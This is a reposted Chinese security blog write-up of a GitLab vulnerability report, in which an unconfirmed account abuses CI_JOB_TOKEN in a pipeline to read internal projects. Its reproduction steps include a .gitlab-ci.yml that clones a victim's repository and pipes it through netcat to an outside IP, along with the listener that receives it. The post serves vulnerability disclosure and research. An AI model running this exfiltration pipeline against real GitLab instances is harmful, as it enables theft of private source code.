gitlab漏洞系列-用户越权访问内部项目

admin 2022年5月27日10:02:50安全文章评论12 views1743字阅读5分48秒阅读模式


  • 背景

  • 复现步骤

  • poc视频


gitlab漏洞系列-用户越权访问内部项目

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

背景

u3mur4于2019年9月提交了这个漏洞: 

攻击者可以创建一个帐户(白名单域名注册),设置了在注册时发送确认邮件,但肯定无法登录,因为他不拥有该电子邮件地址,因此无法访问确认邮件;

但仍然可以创建私有存储库,而无需登录并触发管道运行。编写一个.gitlab-ci脚本。在$CI_JOB_TOKEN环境变量的帮助下,攻击者可以访问内部存储库。

CI_JOB_TOKEN: 

为每个作业生成惟一的作业令牌,并为用户提供对创建该作业的用户通常可以访问的所有项目的读访问权。唯一的作业令牌没有任何写权限,但有人建议添加支持。

复现步骤

设置Admin: 

1.以Admin用户登录到GitLab实例

2.跳转至Admin Area => Settings => General => Sign-up restrictions

3.启用“在注册时发送确认电子邮件”复选框,并将注册文本区域的白名单域设置为example.com

gitlab漏洞系列-用户越权访问内部项目

4.点击保存更改按钮

victim设置: 

1.以victim用户登录到GitLab实例

2.创建一个新项目,并将其名称设置为“internal-project”,将可见性设置为“internal”,并使用README复选框检查Initialize存储库

gitlab漏洞系列-用户越权访问内部项目

attacker设置: 

1.转到GitLab实例并以攻击者的身份注册(攻击者需要知道/猜测到白名单域名。);

2.创建一个git仓库

$ mkdir /tmp/test && cd /tmp/test  
$ git init
$ echo "Hi" > README.md
$ git add README.md
$ git commit -m "Add readme"

3.创建一个.gitlab-ci.Yml文件,我们试图克隆受害者/内部项目存储库并上传到攻击者服务器。

$ cat .gitlab-ci.yml  
stages:
- test
test:
stage: test
variables:
GITLAB_INSTANCE: "yoyo.pw:3000"
script:
- 'git clone http://gitlab-ci-token:[email protected]$GITLAB_INSTANCE/victim/internal-project.git'
- 'apt update && aptinstall-y netcat'
- 'tar cf - internal-project | nc 78.141.212.31 6000'

攻击者需要知道/猜测内部项目路径。

添加.gitlab-ci.Yml文件到存储库,并将原始url设置为attack/test

$ git add .gitlab-ci.yml  
$ git commit -m "addgitlabci"
$ git remote add origin http://yoyo.pw:3000/attacker/test.git

Push到项目并启动攻击者服务器

$ git push origin master  
$ mkdir /tmp/intprj && cd /tmp/intprj && netcat -l -p 6000 |tar -xvf -
internal-project/
internal-project/README.md
internal-project/.git/
internal-project/.git/logs/
internal-project/.git/logs/refs/
internal-project/.git/logs/refs/remotes/
internal-project/.git/logs/refs/remotes/origin/
internal-project/.git/logs/refs/remotes/origin/HEAD
....

攻击者成功访问了完整的git repo.

poc视频

链接: https://pan.baidu.com/s/18xunDGx2G4fH7CQSKF_-mA  密码: 7p15


原文始发于微信公众号(迪哥讲事):gitlab漏洞系列-用户越权访问内部项目

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月27日10:02:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  gitlab漏洞系列-用户越权访问内部项目 https://cn-sec.com/archives/1055273.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: